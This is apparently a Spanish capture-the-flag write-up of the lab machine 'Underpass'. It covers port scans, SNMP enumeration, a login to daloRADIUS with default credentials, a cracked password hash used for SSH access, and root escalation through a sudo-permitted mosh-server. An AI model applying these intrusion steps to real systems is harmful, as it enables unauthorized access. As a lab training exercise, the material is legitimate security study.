Underpass

OS: Linux
Dificultad: Fácil
Puntos: 20

Nmap Scan

TCP Scan

ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.48 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.11.48
Nmap scan report for 10.10.11.48
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP Scan

nmap --min-rate=5000 -sU 10.10.11.48
Nmap scan report for 10.10.11.48
Host is up (0.12s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
161/udp   open   snmp

Enumeracion

Se realizan 2 tipos de escaneos el primero por TCP nos muestra el puerto 22 y 80 mientras que en el escaneo UDP vemos el puerto 161.

SNMP

El puerto 80 solo muestra la pagina por default de apache. Del puerto 161 podemos obtener la siguiente informacion con el comando snmp-check.

snmp-check 10.10.11.48
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 10.10.11.48:161 using SNMPv1 and community 'public'

[*] System information:

  Host IP address               : 10.10.11.48
  Hostname                      : UnDerPass.htb is the only daloradius server in the basin!
  Description                   : Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
  Contact                       : steve@underpass.htb
  Location                      : Nevada, U.S.A. but not Vegas
  Uptime snmp                   : 00:15:18.86
  Uptime system                 : 00:15:05.29
  System date                   : 2025-1-2 16:34:00.0

Despues de analizar el output vemos un dominio y algo curioso es la palabra daloradius ya que este es un path del servidor web.

Default Password

Analizamos el repositorio github de daloradius y vemos que hay 3 rutas:

daloradius/app/common
daloradius/app/operators
daloradius/app/users

Las cuales podemos acceder desde la web.

Buscamos en internet si hay algun password por default para acceder al portal y en este documento mencionan lo siguiente.

Login: administrator 
Password: radius

Probamos las credenciales en el portal web http://underpass.htb/daloradius/app/operators/login.php y es posible acceder.

User Shell

En el apartado de List users vemos un usuario y un hash.

El hash lo intentamos crackear utilizando crackstation y obtenemos el password en texto plano.

svcMosh : underwaterfriends

Accesso SSH

Con ese usuario y password podemos acceder por SSH.

ssh svcMosh@underpass.htb

Escalada de Privilegios

Verificamos si el usuario bob puede ejecutar comandos como sudo y tiene privilegios para ejecutar el siguiente comando.

sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

Mosh Server

Note

Mosh (Mobile Shell) es una herramienta de acceso remoto similar a SSH (Secure Shell), pero con mejoras que lo hacen más adecuado para conexiones a redes inestables o móviles.

Vemos que es posible levantar un servidor mosh como sudo con el siguiente comando.

sudo mosh-server

Nos regresa informacion del puerto en el cual se esta ejecutando el servidor y un tipo de llave. Comprobamos que el puerto esta abierto por UDP.

netstat -putona
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
...[snip]...
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                    off (0.00/0/0)
udp        0      0 0.0.0.0:161             0.0.0.0:*                           -                    off (0.00/0/0)
udp        0      0 127.0.0.1:43181         127.0.0.53:53           ESTABLISHED -                    off (0.00/0/0)
udp        0      0 0.0.0.0:60001           0.0.0.0:*                           -                    off (0.00/0/0)
udp        0      0 0.0.0.0:58395           0.0.0.0:*                           -                    off (0.00/0/0)

Segun la documentacion en el apartado de Frequently Asked Questions: How do I run the mosh client and server separately?. Mencionan que podemos conectarnos al servicio de la siguiente forma.

MOSH_KEY=uJUPuDCAEtuK1wIBBmuMYg mosh-client 0.0.0.0 60001

Si ejecutamos el comnado anterior directamente nos dara una shell como root.

Referencias

https://www.kali.org/tools/snmpcheck/
https://github.com/lirantal/daloradius
https://github.com/asdaru/freeradius-mysql-daloradius/blob/master/README.md
https://mosh.org/#usage